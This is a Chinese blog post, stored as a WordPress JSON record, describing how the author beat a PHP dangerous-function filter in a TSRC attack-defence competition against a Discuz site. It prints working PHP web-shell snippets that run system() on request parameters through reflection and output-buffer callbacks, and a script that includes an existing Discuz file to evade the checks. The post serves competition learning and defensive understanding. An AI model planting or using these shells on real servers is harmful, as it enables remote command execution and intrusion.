{"id":725,"date":"2014-07-24T03:37:19","date_gmt":"2014-07-24T03:37:19","guid":{"rendered":"http:\/\/ixyzero.com\/blog\/?p=725"},"modified":"2014-07-24T03:37:19","modified_gmt":"2014-07-24T03:37:19","slug":"tsrc%e6%8c%91%e6%88%98%e8%b5%9b%ef%bc%9aphp%e9%98%b2%e5%be%a1%e7%bb%95%e8%bf%87%e6%8c%91%e6%88%98%e5%ae%9e%e5%bd%95","status":"publish","type":"post","link":"https:\/\/ixyzero.com\/blog\/archives\/725.html","title":{"rendered":"TSRC\u6311\u6218\u8d5b\uff1aPHP\u9632\u5fa1\u7ed5\u8fc7\u6311\u6218\u5b9e\u5f55"},"content":{"rendered":"<p>\u524d\u4e00\u6bb5\u65f6\u95f4\u6709\u5e78\u53c2\u52a0\u4e86\u7531TSRC\u53d1\u8d77\u7684\u4e00\u4e2a\u6311\u6218\u8d5b\u3002\u76ee\u6807\u73af\u5883\u8fd0\u884c\u7740\u4e00\u4e2a\u6b63\u5e38\u7684discuz\u5e94\u7528\uff0c\u5e76\u4e14\u5b58\u5728\u4e00\u4e2a\u4e0a\u4f20\u63a5\u53e3\uff0c\u8be5\u63a5\u53e3\u5141\u8bb8\u4e0a\u4f20\u4efb\u610f\u6587\u4ef6, \u4f46\u9650\u5236\u4e86\u5927\u90e8\u5206\u5371\u9669\u7684PHP\u51fd\u6570, \u6bd4\u5982system\u3001scandir\u3001eval\u7b49\u3002\u5728\u670d\u52a1\u5668\u4e0a\u653e\u7f6e\u4e86\u4e00\u4e2aflag\u6587\u4ef6, \u76ee\u6807\u662f\u901a\u8fc7\u4e0a\u4f20\u7684PHP\u6587\u4ef6\u627e\u5230\u8be5flag\u6587\u4ef6\u3002<\/p>\n<p>\u6bd5\u7adf\u8fd9\u662f\u4e00\u573a\u6bd4\u8d5b\uff0c\u800c\u4e14\u5982\u679c\u6392\u540d\u8003\u524d\uff0c\u8fd8\u6709\u4e30\u539a\u7684\u5956\u52b1\u3002\u6839\u636e\u89c4\u5219, \u76f8\u540c\u7684\u5229\u7528\u65b9\u5f0f\u4ee5\u7b2c\u4e00\u4e2a\u63d0\u4ea4\u7684\u7b97\u5206\u3002\u6b63\u6240\u8c13\u5148\u4e0b\u624b\u4e3a\u5f3a\uff0c\u6240\u4ee5\u5728\u6311\u6218\u521a\u5f00\u59cb\u540e\uff0c\u5c31\u9a6c\u4e0a\u62ff\u51fa\u81ea\u5df1\u73cd\u85cf\u591a\u5e74\u7684\u79d8\u5bc6\u6b66\u5668\u2014\u2014<span style=\"color: #ff0000;\"><strong>PHP\u53cd\u5c04<\/strong><\/span>\uff0c\u76f8\u5173\u5185\u5bb9\u53ef\u53c2\u8003\uff1a<\/p>\n<p><a href=\"http:\/\/cn2.php.net\/manual\/en\/reflectionfunction.invokeargs.php\" target=\"_blank\">http:\/\/cn2.php.net\/manual\/en\/reflectionfunction.invokeargs.php<\/a>\u3002<\/p>\n<p>\u7b80\u5355\u4f7f\u7528\u65b9\u6cd5\u5982\u4e0b\uff1a<\/p>\n<pre class=\"lang:default decode:true \">&lt;?php\n\t$func = new ReflectionFunction(\"system\");\n\techo $func-&gt;invokeArgs(array(\"$_GET[c]\"));\n?&gt;<\/pre>\n<p>\u4e0a\u9762\u7684php\u4ee3\u7801\u7b49\u4ef7\u4e8e\uff1a<\/p>\n<p>&lt;?php echo system($_GET[c]); ?&gt;<\/p>\n<p>\u9996\u6218\u544a\u6377\uff01\u7b2c\u4e00\u4e2ashell\u4e0a\u4f20\u6210\u529f\uff0c\u5e76\u975e\u5e38\u987a\u5229\u7684\u5728\u76ee\u6807\u670d\u52a1\u5668\u627e\u5230flag\u6587\u4ef6\u3002\u987a\u5229\u62ff\u52305\u5206\u3002<\/p>\n<p>\u5927\u62db\u4f7f\u5b8c\u4ee5\u540e,\u00a0\u540e\u9762\u7684\u65e5\u5b50\u5c31\u4e0d\u597d\u8fc7\u4e86\u3002<\/p>\n<p>\u6700\u5f00\u59cb\u60f3\u5230\u7684\u5c31\u662f\u5229\u7528\u5404\u79cd\u53d8\u5f62\uff0c\u5feb\u8ffd\u5e73\u5b59\u7334\u5b50\u768472\u822c\u53d8\u5316\u4e86\u3002\u53d8\u4e86\u51e0\u5929\u4ee5\u540e\uff0c\u8fd8\u662f\u6ca1\u6709\u8fdb\u5c55\u3002<\/p>\n<p><span style=\"color: #ff0000;\">\u6b64\u65f6\u5f00\u59cb\u53cd\u601d\uff0c\u5371\u9669\u51fd\u6570\u7684\u8c03\u7528\u68c0\u6d4b\u662f\u5982\u4f55\u5b9e\u73b0\u7684\uff1f\u5982\u679c\u5728\u51fd\u6570\u7684\u5b9e\u73b0\u5c42\u505a\u68c0\u6d4b\uff0c\u4e0d\u7ba1\u600e\u4e48\u53d8\u5f62\uff0c\u90fd\u4f1a\u6b8a\u9014\u540c\u5f52\uff0c\u7ee7\u7eed\u53d8\u4e0b\u53bb\u662f\u6ca1\u6709\u4efb\u4f55\u610f\u4e49\u7684\u3002<\/span><\/p>\n<p>\u56de\u5230\u524d\u9762ReflectionFunction\u7684\u5229\u7528\uff0c\u6210\u529f\u7684\u6267\u884c\u4e86system\u51fd\u6570\uff0c\u6709\u529b\u7684\u8bf4\u660e\u8bbf\u95eesystem\u51fd\u6570\u5e76\u975e\u53ea\u6709\u4e00\u6761\u8def\u53ef\u8d70\u3002<\/p>\n<p><span style=\"color: #ff0000;\"><strong>\u9664\u4e86\u53cd\u5c04\u5916, PHP\u63d0\u4f9b\u7684\u53e6\u5916\u4e00\u79cd\u53ef\u95f4\u63a5\u8c03\u7528\u51fd\u6570\u7684\u65b9\u6cd5\u662fcallback\u3002<\/strong><\/span>\u8fd9\u91cc\u4f7f\u7528\u4e86ob_start\u3002\u5177\u4f53\u8bf4\u660e\u53ef\u53c2\u8003\uff1a<a href=\"http:\/\/www.php.net\/manual\/en\/function.ob-start.php\" target=\"_blank\">http:\/\/www.php.net\/manual\/en\/function.ob-start.php<\/a><\/p>\n<p>\u7b80\u5355\u5229\u7528\u5982\u4e0b\uff1a<\/p>\n<pre class=\"lang:default decode:true \">&lt;?php\n\t$cb= 'system';\n\tob_start($cb);\n\techo $_GET[c];\n\tob_end_flush();\n?&gt;<\/pre>\n<p>\u4e0a\u9762\u4ee3\u7801\u7b49\u4ef7\u4e8e\uff1a<\/p>\n<p>&lt;?php system($_GET[c]); ?&gt;<\/p>\n<p>\u8fd9\u6837\uff0c\u7b2c\u4e8c\u6b21\u6210\u529f\u7ed5\u8fc7\u5371\u9669\u51fd\u6570\u7684\u68c0\u67e5\uff0c\u5e76\u6210\u529f\u6267\u884c\u547d\u4ee4\u3002<\/p>\n<p><span style=\"color: #ff0000;\">PHP\u4e2d\u652f\u6301callback\u7684\u51fd\u6570\u8fd8\u6709\u5f88\u591a<\/span>\uff0c\u6bd4\u5982\uff1a<\/p>\n<p>array_map,array_filter, array_reduce<\/p>\n<p>usort(),uksort()<\/p>\n<p>array_walk()\u7b49<\/p>\n<p>\u6bd4\u5982\uff0c@BlackYe\u540c\u5b66\u5c31\u4f7f\u7528\u4e86\u652f\u6301\u56de\u8c03\u7684array_diff_ukey<\/p>\n<p>\u8fd8\u6709xml\u89e3\u6790\u76f8\u5173\u7684\u591a\u4e2a\u51fd\u6570\u4e5f\u652f\u6301callback,\u53ea\u4e0d\u8fc7\u4f20\u9012\u7ed9\u56de\u8c03\u51fd\u6570\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u4e3axml\u89e3\u6790\u5bf9\u8c61, \u6ca1\u6709\u5408\u9002\u7684\u5229\u7528\u573a\u666f\u3002<\/p>\n<p>\u524d\u9762\u5229\u7528PHP\u4e2d\u4e24\u79cd\u4e0d\u540c\u7684\u5b9e\u73b0\u8fbe\u5230\u4e86\u8c03\u7528system\u51fd\u6570\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u7684\u76ee\u7684\uff0c\u7531\u4e8e\u6ca1\u6709\u76f4\u63a5\u4f7f\u7528PHP\u4e2d\u7684system\u51fd\u6570\uff0c\u4ece\u800c\u7ed5\u8fc7\u9632\u62a4\u7cfb\u7edf\u7684\u68c0\u67e5\uff0c\u6210\u529f\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3002<\/p>\n<h5>\u90a3\u8fd8\u6709\u6ca1\u6709\u7b2c\u4e09\u79cd\u65b9\u6cd5\u53ef\u4ee5\u7ed5\u8fc7\u5462\uff1f<\/h5>\n<p>\u8981\u60f3\u7ed5\u8fc7\uff0c\u5fc5\u987b\u5f04\u6e05\u695a\u662f\u5982\u4f55\u5b9e\u73b0\u7684\uff08\u6216\u8005\u8bf4\u8981\u662f\u81ea\u5df1\u5b9e\u73b0\u8fd9\u6837\u7684\u4e00\u4e2a\u7cfb\u7edf\uff0c\u4f1a\u91c7\u7528\u4ec0\u4e48\u6837\u7684\u65b9\u6cd5\uff09\u3002<\/p>\n<p>\u63a5\u4e0b\u6765\u5c31\u9700\u8981\u901a\u8fc7\u731c\u60f3\uff0c\u63d0\u51fa\u5047\u8bbe\uff0c\u5e76\u9010\u6b65\u9a8c\u8bc1\u81ea\u5df1\u7684\u60f3\u6cd5\u3002<\/p>\n<p>1. \u4e3a\u4e86\u4fbf\u4e8e\u64cd\u4f5c\u548c\u9a8c\u8bc1\uff0c\u524d\u671f\u505a\u4e86\u4e00\u4e9b\u51c6\u5907\u3002\u56e0\u4e3a\u6bcf\u6b21\u4e0a\u4f20\u540e\u7684\u6587\u4ef6\u540d\u662f\u4e0d\u540c\u7684\uff0c\u4e5f\u5c31\u662f\u5229\u7528\u4e0a\u4f20\u5728\u670d\u52a1\u5668\u4e0a\u7684\u56fa\u5b9a\u76ee\u5f55\u521b\u5efa\u51e0\u4e2a\u5305\u542b\u5e38\u7528\u529f\u80fd\u7684PHP\u811a\u672c\u3002\u5927\u81f4\u5305\u62ec\uff1a<\/p>\n<ul>\n<ul>\n<li>copy.php\u00a0\u7528\u4e8e\u6587\u4ef6\u590d\u5236\u548c\u79fb\u52a8\uff1b<\/li>\n<li>sql.php\u00a0\u7528\u4e8e\u6570\u636e\u5e93\u64cd\u4f5c\uff1b<\/li>\n<li>read.php\u00a0\u7528\u4e8e\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\uff0c\u4e3b\u8981\u7528\u4e8e\u786e\u8ba4\u4e0a\u4f20\u7684\u6587\u4ef6\u5185\u5bb9\u662f\u5426\u6b63\u786e\uff1b<\/li>\n<li>stat.php\u7528\u4e8e\u83b7\u53d6\u6587\u4ef6\u6216\u76ee\u5f55\u7684\u7528\u6237\u6743\u9650\u548c\u8bfb\u5199\u6743\u9650\uff1b<\/li>\n<li>shell.php\u00a0\u7528\u4e8e\u8c03\u7528\u5176\u4ed6php\u51fd\u6570\u3002<\/li>\n<\/ul>\n<\/ul>\n<p>2. \u51c6\u5907\u5b8c\u8fd9\u4e9b\u5de5\u5177\u4ee5\u540e, \u5f00\u59cb\u731c\u6d4b\u68c0\u6d4b\u539f\u7406\uff1a<\/p>\n<h6>\u7591\u95ee1\uff1a\u662f\u5426\u5141\u8bb8\u6267\u884c\u5371\u9669\u51fd\u6570\u4e0e\u6587\u4ef6\u6240\u5728\u76ee\u5f55\u6709\u5173\u5462\uff1f<\/h6>\n<p>\u56e0\u4e3a\u4e0a\u4f20\u540e\u7684\u6587\u4ef6\u6240\u5728\u76ee\u5f55\u662f\u56fa\u5b9a\u7684, \u6240\u4ee5\u9996\u5148\u731c\u60f3\u662f\u5426\u4e0e\u76ee\u5f55\u6709\u5173\u3002\u4e8e\u662f\uff0c\u5229\u7528\u5148\u524d\u4e0a\u4f20\u7684\u51e0\u4e2aPHP\u5de5\u5177, \u5728\u5df2\u6b63\u5e38\u8fd0\u884cWEB\u5e94\u7528\u7684\u76ee\u5f55\u4e0b\u627e\u5230\u53ef\u5199\u7684\u76ee\u5f55, \u5e76\u5c06\u4e0a\u4f20\u7684PHP\u6587\u4ef6\u79fb\u52a8\u5230\u8be5\u76ee\u5f55, \u7ed3\u679c\u4ee5\u5931\u8d25\u544a\u7ec8\u3002<\/p>\n<h6>\u7591\u95ee2\uff1a\u662f\u5426\u8bbe\u7f6e\u4e86\u767d\u540d\u5355\uff0c\u540e\u7eed\u4e0a\u4f20\u7684\u6587\u4ef6\u90fd\u4e0d\u5141\u8bb8\u6267\u884c\u5371\u9669\u7684PHP\u51fd\u6570\uff1f<\/h6>\n<p>\u5c06shell\u5199\u5165WEB\u5e94\u7528\u5df2\u6709\u7684\u6587\u4ef6\u4e2d\u3002\u62ff\u4e0b\u540e\u53f0, \u5e76\u5c06shell\u5199\u5165\u5230WEB\u5e94\u7528\u5df2\u6709\u7684\u4ee3\u7801\u6587\u4ef6\u4e2d. \u7ed3\u679c\u8fd8\u662f\u5931\u8d25\u4e86\u3002<\/p>\n<h6>\u7591\u95ee3\uff1a\u67d0\u4e9b\u51fd\u6570\u7981\u7528\u4e86\uff0c\u5df2\u7ecf\u642d\u5efa\u597d\u7684\u5e94\u7528\u662f\u5426\u53d7\u5f71\u54cd\u5462\uff1f<\/h6>\n<p>\u5bf9\u5e94\u7528\u7684\u4ee3\u7801\u505a\u4e86\u4e00\u756a\u5ba1\u8ba1\uff0c\u627e\u5230\u4f7f\u7528\u4e86\u88ab\u7981\u7528\u7684PHP\u51fd\u6570\u7684\u4ee3\u7801\u90e8\u5206\uff0c\u53d1\u73b0\u529f\u80fd\u5e76\u4e0d\u53d7\u5f71\u54cd\u3002\u5c31\u662f\u8bf4\u670d\u52a1\u5668\u5df2\u6709\u4ee3\u7801\u5e76\u6ca1\u6709\u7ecf\u8fc7\u4fee\u6539\u4e14\u8fd0\u884c\u6b63\u5e38\u3002\u800c\u65b0\u4e0a\u4f20\u6216\u8005\u88ab\u4fee\u6539\u8fc7\u7684\u6587\u4ef6\uff0c\u5371\u9669\u51fd\u6570\u5c31\u4f1a\u88ab\u7981\u7528<\/p>\n<h6>\u7591\u95ee4\uff1a\u533a\u522b\u5728\u54ea\u91cc\uff1f<\/h6>\n<p>\u7528\u51c6\u5907\u597d\u7684\u811a\u672cstat.php\u5217\u4e3e\u4e86\u5df2\u6709PHP\u6587\u4ef6\u548c\u65b0\u4e0a\u4f20PHP\u6587\u4ef6\u7684\u6587\u4ef6\u6743\u9650\uff0c\u53d1\u73b0\u6743\u9650\u4e0d\u540c\u3002<\/p>\n<h6>\u7591\u95ee5\uff1a\u670d\u52a1\u5668\u5bf9PHP\u51fd\u6570\u4e2d\u7684\u5371\u9669\u51fd\u6570\u7684\u68c0\u67e5\uff0c\u662f\u5426\u662f\u5224\u65ad\u8c03\u7528\u8fd9\u4e9b\u51fd\u6570\u7684PHP\u6587\u4ef6\u5c5e\u4e3b\uff1f<\/h6>\n<p>\u65b9\u6cd5\u4e00\uff1a<\/p>\n<p>\u6bd4\u5982\u5df2\u5b89\u88c5WEB\u5e94\u7528\u4e2d\u7684\u4ee3\u7801\u4e2d\u5b58\u5728b.php include a.php\u7684\u4ee3\u7801\uff0c\u5c06shell\u5199\u5165a.php\u4e2d\uff0c\u901a\u8fc7\u8bbf\u95eeWEB\u5e94\u7528b.php\uff0c<\/p>\n<p>\u53d1\u73b0a.php\u4e2d\u5199\u5165\u7684shell\u4ee3\u7801\u5e76\u6ca1\u6709\u6267\u884c\u3002\u8bf4\u660e\u5224\u65ad\u6587\u4ef6\u7684\u5c5e\u4e3b\u662f\u76f4\u63a5\u8c03\u7528\u5371\u9669\u51fd\u6570\u7684\u6587\u4ef6\u3002<\/p>\n<p>\u65b9\u6cd5\u4e8c\uff1a<\/p>\n<p>\u901a\u8fc7\u4e0a\u4f20\u5165\u53e3\uff0c\u4e0a\u4f20a.php, \u5728a.php\u4e2dincludeb.php, b.php\u662fWEB\u5e94\u7528\u5df2\u6709\u7684\u4ee3\u7801\uff0c\u5e76\u8c03\u7528\u4e86\u5371\u9669\u51fd\u6570(\u5982system)\u3002<\/p>\n<p>\u5229\u7528\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n<pre class=\"lang:default decode:true \">&lt;?php\n\tdefine('IN_DISCUZ', 1);\n\tdefine('IN_MODCP', 1);\n\tdefine('DISCUZ_ROOT', '\/tmp\/');\n\tchdir('..\/upload\/');\n\t$_G['cache']['forums'] = 1;\n\t$_G['page'] = 1;\n\t$_GET['keyword']=\"xxxxxx\";\n\t$cpscript=\"\";\n\n\tfunction lang($in){\n\t\treturn $in;\n\t}\n\tfunction multi($in1, $in2, $in3, $in4){\n\t\treturn null;\n\t}\n\tfunction dhtmlspecialchars($in) {\n\t\treturn $in;\n\t}\n\n\tinclude \"source\/include\/modcp\/modcp_log.php\";\n\t$dir=$_GET[dir];\n\t$ext=$_GET[ext];\n\tvar_dump(get_log_files($dir, $ext));\n?&gt;<\/pre>\n<p>\u6267\u884c\u6210\u529f\uff0c\u518d\u4e00\u6b21\u62ff\u52305\u5206\u3002<\/p>\n<p>\u4ee5\u4e0a\u662f\u672c\u4eba\u53c2\u52a0\u8fd9\u6b21\u6311\u6218\u8d5b\u4f5c\u4e3a\u653b\u65b9\u5982\u4f55\u7ed5\u8fc7\u9632\u5fa1\u7684\u4e00\u4e9b\u7ecf\u9a8c\u5206\u4eab\uff0c\u6709\u4e0d\u8db3\u7684\u5730\u65b9\u8bf7\u89c1\u8c05\uff0c\u5982\u6709\u4efb\u610f\u7591\u95ee\u6216\u5efa\u8bae\u6b22\u8fce\u8054\u7cfbTSRC\u767d\u5e3d\u5b50\u201c\u96ea\u4eba\u201d\u5207\u78cb\u4ea4\u6d41\u3002\u671f\u5f85\u672a\u6765\u6709\u66f4\u591a\u7684\u673a\u4f1a\u53c2\u4e0e\u8fd9\u79cd\u5bf9\u6297\u8d5b\u3002<\/p>\n<p>\u539f\u6587\u5730\u5740\uff1a<a href=\"http:\/\/security.tencent.com\/index.php\/blog\/msg\/58\/\" target=\"_blank\">http:\/\/security.tencent.com\/index.php\/blog\/msg\/58\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u524d\u4e00\u6bb5\u65f6\u95f4\u6709\u5e78\u53c2\u52a0\u4e86\u7531TSRC\u53d1\u8d77\u7684\u4e00\u4e2a\u6311\u6218\u8d5b\u3002\u76ee\u6807\u73af\u5883\u8fd0\u884c\u7740\u4e00\u4e2a\u6b63\u5e38\u7684discuz\u5e94\u7528\uff0c\u5e76\u4e14\u5b58\u5728\u4e00\u4e2a\u4e0a\u4f20\u63a5\u53e3 [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23,25],"tags":[48,37],"class_list":["post-725","post","type-post","status-publish","format-standard","hentry","category-knowledgebase-2","category-security","tag-php","tag-security"],"views":2778,"_links":{"self":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/725","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/comments?post=725"}],"version-history":[{"count":0,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/725\/revisions"}],"wp:attachment":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/media?parent=725"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/categories?post=725"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/tags?post=725"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}